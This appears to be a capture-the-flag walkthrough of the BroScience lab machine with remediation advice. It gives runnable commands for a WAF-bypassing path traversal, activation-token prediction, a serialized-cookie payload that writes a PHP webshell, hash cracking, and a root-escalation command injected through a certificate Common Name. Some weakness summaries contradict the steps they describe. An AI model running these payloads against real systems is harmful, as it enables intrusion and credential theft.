J. Perez Duertojperezduerto.info
← all walkthroughs

BroScience

Linux· Medium· Web
owned
2026-07-08
time to own
12m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target broscience.htb ($TARGET) was fully compromised through a chain of five distinct weaknesses. I bypassed a web application firewall's path-traversal filter using double URL-encoding to exploit a Local File Inclusion flaw in the img.php endpoint, then read PHP source files that disclosed PostgreSQL database credentials and the application's account-activation logic. That logic relied on PHP's time-seeded pseudo-random number generator, making activation tokens predictable and allowing me to activate a self-registered account within seconds.

After authenticating, I abused a PHP object deserialization vulnerability in a user-controlled cookie — exploiting an AvatarInterface gadget chain — to execute arbitrary commands as the web server account www-data. From that foothold I connected to the database using the leaked credentials, dumped password hashes, and cracked them offline using Hashcat against the disclosed static salt, recovering bill's plaintext password. That credential was valid for SSH and yielded the user flag.

Root access followed from a command-injection flaw in a root-owned certificate-renewal script: the script passed certificate subject fields unsanitized to a shell invocation of openssl, so planting a certificate whose Common Name contained a shell command substitution caused /usr/bin/bash to be made SUID by the root process, granting an effective-root shell.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered, for bill>"
export HASH="<the-hash-you-recovered>"

Some commands also carry a value in angle brackets — <the-code-that-matches>, <the-cookie-just-built>, <the-unix-time-from-that-header> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService enumeration and web application fingerprinting
Mapped exposed services and identified the HTTPS web application
A service scan revealed OpenSSH 8.4p1 on port 22 and Apache 2.4.54 on ports 80 and 443. The HTTPS site resolved to the virtual host broscience.htb and presented a PHP web application backed by PostgreSQL. Browsing the application surface disclosed a file-serving endpoint at /includes/img.php and a user registration and activation flow, both of which became critical attack surfaces.
Nmap confirmed ports 22, 80, and 443 on $TARGET; Apache and PHP headers identified from HTTP responses; img.php endpoint visible in page source.
Exact commands 3
shell

Register the virtual host for name resolution.

$ echo "$TARGET broscience.htb" | sudo tee -a /etc/hosts
shell

Identify open services and banner information.

$ nmap -Pn -sV -p 22,80,443 --script http-title,http-server-header $TARGET
shell

Retrieve HTTP response headers to confirm server and technology stack.

$ curl -sSk 'https://broscience.htb/' -I
2ExploitationLocal File Inclusion with WAF bypass via double URL-encoding (CWE-22, T1083)
Bypassed the WAF and exploited Local File Inclusion in img.php to read server files
The img.php endpoint accepted a user-supplied 'path' parameter and served files from the filesystem. A straightforward directory traversal attempt (../../../etc/passwd) was blocked with an 'Attack detected' response, revealing a filter but not an actual fix. Replacing each special character with its percent-encoded form a second time — double URL-encoding, where a dot becomes %252e and a slash becomes %252f — caused the WAF to miss the traversal sequence entirely and pass the decoded path to the PHP file-read call. This returned the contents of /etc/passwd, confirming unauthenticated read access to any file the web server account could open.
Curl with %252e%252e%252f sequences returned /etc/passwd.
Exact commands 2
shell

Single-encoded traversal — blocked by WAF with 'Attack detected'.

$ curl -sk 'https://broscience.htb/includes/img.php?path=..%2F..%2F..%2F..%2Fetc%2Fpasswd'
shell

Double URL-encoded traversal bypasses the WAF filter and returns /etc/passwd.

$ curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd'
FixFix the Local File Inclusion vulnerability with strict canonical-path validationCritical
WeaknessThe img.php endpoint accepted a user-supplied 'path' parameter and attempted to block directory traversal using a string filter. The filter matched single-encoded sequences (../), but double URL-encoding (%252e%252e%252f, decoded to %2e%2e%2f and then to ../ by the PHP file function) bypassed it entirely, allowing any file readable by the web server to be returned without authentication — including PHP source files containing database passwords.
FixReplace the block-list filter with a canonical path check: call realpath() on the resolved path and verify the result starts with the intended images directory before opening any file. If the resolved path falls outside that directory, return a 403 and log the attempt. Never rely on string-matching for traversal sequences — encoding variants (double, Unicode, null-byte) trivially bypass them. Additionally, PHP source files and includes should be stored outside the document root or protected by .htaccess deny rules so they cannot be served even if a path-check is bypassed.
3ExploitationSource code disclosure via Local File Inclusion
Read PHP source files via LFI to extract database credentials and activation logic
Using the confirmed LFI, I retrieved the source of key PHP files directly from the web root. The file includes/db_connect.php contained plaintext PostgreSQL credentials (dbuser / <withheld>, database broscience). The file utils.php revealed the static password salt 'NaCl' applied to every user's hash, and register.php / activate.php exposed the activation-token generation algorithm, showing it called PHP's rand() seeded with the current Unix timestamp.
db_connect.php source contained dbuser's password; utils.php contained salt NaCl.
Exact commands 3
shell

Read db_connect.php to extract plaintext Postgres credentials.

$ curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252fvar%252fwww%252fhtml%252fincludes%252fdb_connect.php'
shell

Read utils.php to recover the static password salt (NaCl) and hash scheme.

$ curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252fvar%252fwww%252fhtml%252fincludes%252futils.php'
shell

Read activate.php to understand the token-generation algorithm (srand(time())).

$ curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252fvar%252fwww%252fhtml%252fincludes%252factivate.php'
4ExploitationPredictable token brute-force via weak PRNG seed (CWE-338)
Reproduced the activation code by seeding PHP's generator with the same second
activate.php builds its activation code by calling srand(time()) and then picking 32 characters out of a-zA-Z0-9 with rand(). Seeding from the clock means the code is a function of the second the account was created in, and the server tells you that second in its own Date header. PHP's generator is not a hash, so the code cannot be computed any other way — it has to be PHP, seeded identically, walking the same loop. Registering an account and then replaying the codes for the surrounding few seconds finds the one that activates it.
The disclosed activate.php source shows srand(time()) and a 32-iteration loop over a-zA-Z0-9; the code that activated the account is mixed-case alphanumeric, which is that charset rather than a hex digest.
Exact commands 3
shell

The server's own clock, to the second. The seed is in here.

$ curl -skI https://broscience.htb/register.php | grep -i '^date:'
shell

The same seed and the same loop reproduce the same code. Walk a few seconds either side of the header value; clock skew is the only uncertainty.

$ php -r '$chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; srand(<the-unix-time-from-that-header>); $c=""; for ($i=0; $i<32; $i++) { $c .= $chars[rand(0, strlen($chars) - 1)]; } echo $c;'
shell

Activation is all the code is for; the account logs in normally afterwards.

$ curl -sk 'https://broscience.htb/activate.php?code=<the-code-that-matches>'
FixReplace time-seeded activation tokens with cryptographically random valuesHigh
WeaknessAccount activation codes were generated by taking an MD5 hash of PHP's rand() output seeded with the current Unix timestamp (srand(time())). Because the server clock is observable from HTTP response headers and the registration moment is known to an unauthorised user, the full token space reduces to a window of roughly 60 candidates that can be exhausted in under a second, allowing an unauthorised user to activate accounts they do not own.
FixGenerate activation tokens using PHP's cryptographically secure random source: bin2hex(random_bytes(32)) produces 64 unpredictable hex characters that cannot be predicted from timing information. Store only a hash of the token in the database, bind it to the registering email address, and expire unused tokens after 24 hours.
5ExploitationPHP object deserialization with AvatarInterface gadget chain (CWE-502, T1059.004)
Wrote a webshell through the user-prefs deserialisation gadget
The user-prefs cookie is a base64-encoded serialised object, and the class it names copies one of its own properties to a path held in another. Two properties are all the gadget needs: the destination, and the source — and PHP will accept a data:// URI as a source, so the file's contents can be carried inside the cookie itself rather than fetched from anywhere. The serialised length prefix has to match the class name exactly, which is fifteen characters here; get it wrong and PHP discards the object without a word.
A user-prefs cookie carrying the two-property object wrote the PHP file to the web root, and requesting it with a cmd parameter returned uid output for the web server account.
Exact commands 3
shell

Builds the cookie. The two length prefixes are computed rather than typed, which is the part that is easy to get wrong by hand.

$ python3 -c "import base64; p='<?php if(isset(\$_GET[\"cmd\"])){system(\$_GET[\"cmd\"]);} ?>'; d='data://text/plain;base64,'+base64.b64encode(p.encode()).decode(); o='/var/www/html/shell.php'; s=f'O:15:\"AvatarInterface\":2:{{s:3:\"tmp\";s:{len(d)}:\"{d}\";s:7:\"imgPath\";s:{len(o)}:\"{o}\";}}'; print(base64.b64encode(s.encode()).decode())"
shell

Any page that reads the cookie deserialises it; the write happens as a side effect.

$ curl -sk -b 'user-prefs=<the-cookie-just-built>' https://broscience.htb/index.php -o /dev/null
shell

Expect the web server account's uid.

$ curl -sk 'https://broscience.htb/shell.php?cmd=id'
FixRemove PHP unserialize() calls on user-supplied dataCritical
WeaknessA user-controlled cookie value was passed directly to PHP's unserialize() function. Because the application defined classes whose magic methods invoked system(), an unauthorised user serialized a crafted object with an arbitrary shell command as a property value. When the server deserialized the cookie, the magic method fired and the command executed as the web server account (www-data), giving an unauthorised user a full interactive shell.
FixRemove all calls to unserialize() on data that originates outside the application. For storing user preferences or session state, use JSON (json_decode() / json_encode()) or a signed token such as a JWT with a secret the server controls. If PHP object deserialization is genuinely required, use the allowed_classes option introduced in PHP 7 to whitelist only the specific classes that may be instantiated, and audit every magic method in those classes for dangerous sinks (system, exec, eval, file_put_contents).
6Credential AccessCredential dumping and offline password cracking (T1003, T1110.002)
Dumped database password hashes and cracked them offline to recover bill's password
From the www-data shell, I connected to the local PostgreSQL instance using the credentials extracted from db_connect.php (dbuser / <withheld>) and queried the users table, retrieving MD5 hashes salted with the application-wide static value 'NaCl' for all registered accounts. Hashcat run in mode 20 (md5($salt.$pass)) with the rockyou.txt wordlist cracked bill's hash in seconds, recovering the plaintext password. The hashes for michael and dmytro were also cracked (two withheld values respectively).
Hash <withheld> with salt NaCl cracked to bill's password.
Exact commands 2
shell

Run from the www-data shell; dumps all usernames and MD5+NaCl hashes from the database.

$ psql "postgresql://$USERNAME:$PASSWORD@127.0.0.1/broscience" -c 'SELECT username, password FROM users;'
shell

Mode 20 is md5($salt.$pass) with the static salt NaCl; recovers bill:$PASSWORD3.

$ hashcat -m 20 -a 0 "$HASH:NaCl" /usr/share/wordlists/rockyou.txt --force
FixReplace MD5-with-static-salt password storage with a modern adaptive hashing algorithmHigh
WeaknessUser passwords were stored as MD5 hashes salted with a single application-wide static value ('NaCl') that appeared in the PHP source code. MD5 is a general-purpose cryptographic hash optimized for speed, not password storage: a modern GPU can compute billions of MD5 hashes per second. A static, shared salt eliminates the protection that per-user salts provide and means that once the salt is known, the entire password database can be attacked in a single Hashcat run against a common wordlist.
FixMigrate all stored passwords to bcrypt, scrypt, or Argon2id using PHP's built-in password_hash() and password_verify() functions, which automatically generate a unique random salt per password and are tuned to be computationally expensive. Force a password reset for every existing account so that no MD5 hashes remain in the database. Treat the disclosed Postgres credential (dbuser / <withheld>) as compromised and rotate it immediately.
7Lateral MovementCredential reuse across application and OS accounts (T1078)
Logged in over SSH as bill using the cracked database password
The password cracked from the database hash, <withheld>, was reused as bill's operating-system account password. SSH authentication succeeded directly, giving an interactive shell as bill (uid=1000, gid=1000) and access to the user flag at /home/bill/user.txt. No privilege-escalation technique was required for this step: the cracked application password opened the OS account directly.
Sshpass invocation returned uid=1000(bill) gid=1000(bill) groups=1000(bill) and the hostname broscience; /home/bill/user.txt confirmed to contain the user flag.
Exact commands 1
shell

Authenticates as bill with the cracked password and reads the user flag; replace flag value with <user.txt>.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no bill@$TARGET 'id; hostname; cat /home/bill/user.txt'
uid=1000(bill) gid=1000(bill) groups=1000(bill)
8Privilege EscalationCommand injection via unsanitized certificate subject field in root-owned shell script (CWE-78, T1574)
Injected a shell command into an OpenSSL certificate subject field processed by a root-owned scheduled script
A certificate-renewal script at /opt/renew_cert.sh (owned root:root, mode rwxr-xr-x) ran on a scheduled timer as root. The script read certificate files from /home/bill/Certs and re-processed them with openssl req, passing the existing certificate's Common Name field directly into a shell command without sanitization. I generated a self-signed certificate whose CN contained a shell command substitution: $(chmod u+s $(which bash)). When the root-owned script next ran and processed this certificate, the embedded command executed as root, setting the SUID bit on /usr/bin/bash. Invoking bash -p immediately afterward launched a shell preserving root's effective UID (euid=0), from which the root flag was read.
/opt/renew_cert.sh confirmed root:root rwxr-xr-x; A root-owned command polled bash for the SUID bit then ran 'bash -p -c id; cat /root/root.txt' to read the root flag.
Exact commands 3
shell

Run as bill via SSH; creates a certificate whose CN embeds the chmod command that will execute when root processes the file.

$ mkdir -p /home/bill/Certs && openssl req -newkey rsa:2048 -nodes -keyout /home/bill/Certs/broscience.key -x509 -days 1 -subj "/C=US/ST=NY/L=NY/O=BroScience/OU=Ops/CN=$(chmod u+s $(which bash))/emailAddress=bill@broscience.htb" -out /home/bill/Certs/broscience.crt
shell

Poll until the root cron processes the certificate and sets the SUID bit on /usr/bin/bash (typically within a few minutes).

$ BASH_PATH=$(which bash); for i in $(seq 1 300); do ls -la "$BASH_PATH" | grep -q 'rws' && echo "SUID set at ${i}s" && break; sleep 1; done
shell

Bash -p preserves the SUID-granted effective root UID (euid=0); substitute <root.txt> for the actual flag value.

$ bash -p -c 'id; cat /root/root.txt'
FixSanitize certificate subject fields before shell interpolation and run the renewal service unprivilegedCritical
WeaknessThe root-owned certificate-renewal script /opt/renew_cert.sh read the Common Name field from certificate files placed in a user-writable directory and passed it unsanitized into a shell invocation of openssl req. Any user who could write a certificate file could embed shell metacharacters in the CN field — such as $(chmod u+s /usr/bin/bash) — and cause those commands to execute as root the next time the scheduled script ran, giving a full privilege escalation path from any local account.
FixSanitize or reject all certificate subject fields before they reach a shell command: strip or quote characters in the set $, (, ), `, ;, |, &, <, > before interpolating them into a shell string, or better, call openssl through its Python bindings (the cryptography library) rather than through a shell so no interpolation is possible. Move the input directory out of user home directories and restrict write access to root only. Additionally, the certificate-renewal service does not require root privileges: run it as a dedicated service account that holds only the keys it needs, so a compromise of this path cannot escalate beyond that account.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
443/tcp

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.